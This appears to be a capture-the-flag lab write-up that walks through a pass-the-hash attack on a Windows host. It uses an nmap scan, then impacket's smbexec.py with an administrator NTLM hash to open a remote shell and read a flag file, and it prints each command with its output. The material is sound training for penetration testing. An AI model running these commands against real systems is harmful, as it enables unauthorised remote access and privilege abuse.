

[illegible]

Name	Windows: Pass The Hash - SMBExec
URL	https://attackdefense.com/challengedetails?cid=2380
Type	Post Exploitation: With Metasploit

Important Note: This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic. Also, note that the IP addresses and domain names might be different in your lab.

Step 1: Checking target IP address.

Note: The target IP address is stored in the “target” file.

Command: cat /root/Desktop/target

```
root@attackdefense:~# cat /root/Desktop/target
Target IP Address : 10.0.20.113
root@attackdefense:~#
```

Step 2: Run a Nmap scan against the target IP.

Command: nmap 10.0.20.113

```
root@attackdefense:~# nmap 10.0.20.113
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-09 12:18 IST
Nmap scan report for 10.0.20.113
Host is up (0.062s latency).
Not shown: 996 closed ports
PORT      STATE SERVICE
135/tcp    open  msrpc
139/tcp    open  netbios-ssn
445/tcp    open  microsoft-ds
3389/tcp   open  ms-wbt-server

Nmap done: 1 IP address (1 host up) scanned in 2.90 seconds
root@attackdefense:~#
```

Step 3: We have discovered that multiple ports are open. The SMB port 445 is exposed. We have the administrator NTLM hash. We will use smbexec.py script to pass the hash attack.

Administrator User NTLM Hash: 5c4d59391f656d5958dab124ffeabc20

Command: smbexec.py -hashes
00000000000000000000000000000000:5c4d59391f656d5958dab124ffeabc20
administrator@10.0.20.113

Note: The first 32 bit values i.e 0 is NO Password. Its LM and NT hash. LM not case sensitive. But NT is case sensitive, that is created from the password.

```
root@attackdefense:~# smbexec.py -hashes 00000000000000000000000000000000:5c4d59391f656d5958dab124ffeabc20 administrator@10.0.20.113
Impacket v0.9.23.dev1+20210315.121412.a16198c - Copyright 2020 SecureAuth Corporation

[!] Launching semi-interactive shell - Careful what you execute
C:\Windows\system32>
```

We have successfully gained a remote shell using NTLM hash of the administrator user.

Step 4: Read the flag.

Command: dir C:\

type C:\flag.txt

```
C:\Windows\system32>dir C:\
Volume in drive C has no label.
Volume Serial Number is 9E32-0E96

Directory of C:\

11/14/2018  06:56 AM    <DIR>          EFI
06/02/2021  10:19 AM                37 flag.txt
05/13/2020  05:58 PM    <DIR>          PerfLogs
11/07/2020  07:47 AM    <DIR>          Program Files
11/07/2020  07:47 AM    <DIR>          Program Files (x86)
11/07/2020  08:15 AM    <DIR>          Users
11/07/2020  07:49 AM    <DIR>          Utilities
11/07/2020  12:42 AM    <DIR>          Windows
06/09/2021  06:49 AM                0 __output
                2 File(s)              37 bytes
                7 Dir(s)  15,709,536,256 bytes free

C:\Windows\system32>type C:\flag.txt
oiu21432123avvcde1vsdfxxr323p4sewq412
C:\Windows\system32>
```

Flag: oiu21432123avvcde1vsdfxxr323p4sewq412

References

1. SMBExec (<https://github.com/SecureAuthCorp/impacket/blob/master/examples/smbexec.py>)
2. Understanding Windows local password hashes (NTLM) (<https://security.stackexchange.com/questions/161889/understanding-windows-local-password-hashes-ntlm>)
3. LM Hash and NT Hash (<http://www.adshotgyan.com/2012/02/lm-hash-and-nt-hash.html>)
4. LM Hash (<https://ldapwiki.com/wiki/LM%20hash>)